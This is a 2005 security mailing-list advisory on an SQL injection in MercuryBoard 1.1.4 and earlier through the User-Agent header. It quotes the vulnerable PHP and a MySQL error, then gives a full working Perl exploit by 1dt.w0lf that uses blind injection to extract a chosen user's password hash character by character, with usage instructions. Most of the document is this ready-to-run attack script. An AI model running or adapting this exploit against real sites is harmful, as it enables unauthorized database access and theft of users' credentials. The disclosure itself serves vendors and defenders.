[EXPL] MercuryBoard SQL Injection (User-Agent)

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To: list@securiteam.com
Date: 23 Jun 2005 13:07:21 +0200

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  MercuryBoard SQL Injection (User-Agent)
------------------------------------------------------------------------

SUMMARY

" <http://www.mercuryboard.com/> MercuryBoard is a powerful message board
system dedicated to raw speed with a mixture of features, ease of use, and
ease of customization coupled with expandability, and diverse language
services."

SQL injection vulnerability discovered in MercuryBoard allows malicious
attacker to endanger data base integrity by injecting arbitrary SQL
statements through the User-Agent field.

DETAILS

Vulnerable Systems:
 * MercuryBoard version 1.1.4 and prior

Vulnerable code:
global.php:
71 : $this->agent = isset($_SERVER['HTTP_USER_AGENT']) ?
$_SERVER['HTTP_USER_AGENT'] : null;

index.php:
154 : $mercury->db->query("REPLACE INTO {$mercury->pre}active (active_id,
active_action, active_item, active_time,
active_ip, active_user_agent, active_session) VALUES
({$mercury->user['user_id']}, '{$mercury->get['a']}', $item,
$mercury->time, '$mercury->ip', '$mercury->agent',
'{$mercury->session['id']}')");

Error message:
..
You have an error in your SQL syntax. Check the manual that corresponds to
your MySQL server version for the right
syntax to use near 'aa3211413f374429d3830cd062b25b86')' at line 1
Query Error [1064]:
This type of error is reported by MySQL.
Query: REPLACE INTO mb_active (active_id, active_action, active_item,
active_time, active_ip, active_user_agent, active_session) VALUES (1,
'board', 0, 1116314234, '127.0.0.1', '666'',
'aa3211413f374429d3830cd062b25b86')
..

Exploit:
#!/usr/bin/perl

### MercuryBoard <=1.1.4, MySQL => 4.1 sql injection exploit by RST/GHC
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~
### * note: you need first register on forum for get id and login
### after what logout from forum and run exploit
### * note2: edit timestamp in sources if exploit not work ;)
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~
### (c)oded by 1dt.w0lf
### RST/GHC - http://rst.void.ru , http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;
use Getopt::Std;

getopts('h:f:b:i:l:p:');

$server = $opt_h;
$path = $opt_f;
$member_id = $opt_b;
$hacker_id = $opt_i;
$hacker_l = $opt_l;
$prefix = $opt_p || 'mb_' ;

if(!$server||!$path||!$member_id||!$hacker_id||!$hacker_l) { &usage; }

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] SERVER : $server\r\n";
print " [~] FORUM PATH : $path\r\n";
print " [~] ID FOR BRUTE : $member_id\r\n";
print " [~] HACKER ID : $hacker_id\r\n";
print " [~] HACKER LOGIN : $hacker_l\r\n";
print " [~] TABLE PREFIX : $prefix\r\n\r\n";
print " [~] SEARCHING PASSWORD ... [|]";

while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
 {
 if(length($allchar) > 0){
 print qq{\b\b DONE ]
 
 -------------------------------------------------------------------
 USER ID : $member_id
    HASH : $allchar
 -------------------------------------------------------------------
 };
 }
 else
 {
 print "\b\b FAILED ]";
 }
 exit();
 }
else
 {
 $allchar .= chr($char);
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0];
 
 $user_agent2 = "666',''),($hacker_id, 'board', 0, (SELECT/**/if((ascii(
substring((SELECT/**/user_password/**/FROM/**/${prefix}users
/**/WHERE/**/user_id=$member_id),$s_num,1)))$ccheck, 1119336207,0)),
'666.666.666.666', '666', '666')/*";

 $sock2 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
PeerPort => "80");
 printf $sock2 ("GET %s?a=active HTTP/1.0\nHost: %s\nUser-Agent:
%s\nAccept: */*\nConnection: close\n\n",
 $request,$server,$user_agent2);
 
 while(<$sock2>)
  {
  #print $_;
  if (/w=$hacker_id"\>$hacker_l/) { return 1; }
  }

 return 0;
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b\b/]"; }
  if($status==1){ print "\b\b-]"; }
  if($status==2){ print "\b\b\\]"; }
  if($status==3){ print "\b\b|]"; }
}

sub usage()
 {
 &head;
 print q(
 USAGE
    r57mercury.pl [OPTIONS]
  
 OPTIONS
  -h [host] ~ host where mercury board installed
  -f [/folder/] ~ folder where mercury board installed
  -b [user_id] ~ user id for bruteforce
  -i [id] ~ hacker id (hacker must be register on forum)
  -l [login] ~ hacker login on forum
  -p [prefix] ~ database tables prefix (optional)
                  default is "mb"
 E.G.
  r57mercury.pl -h www.blah.com -f /mercuryboard/ -b 2 -i 3 -l lamer
 -------------------------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }
sub head()
 {
 print q(
 -------------------------------------------------------------------
 MercuryBoard <=1.1.4, MySQL => 4.1 sql injection exploit by RST/GHC
 -------------------------------------------------------------------
 );
 }

ADDITIONAL INFORMATION

The information has been provided by 1dt.w0lf.
The original article can be found at:
<http://rst.void.ru/download/r57mercury.txt>
http://rst.void.ru/download/r57mercury.txt
The original article can be found at:
<http://rst.void.ru/papers/advisory28.txt>
http://rst.void.ru/papers/advisory28.txt

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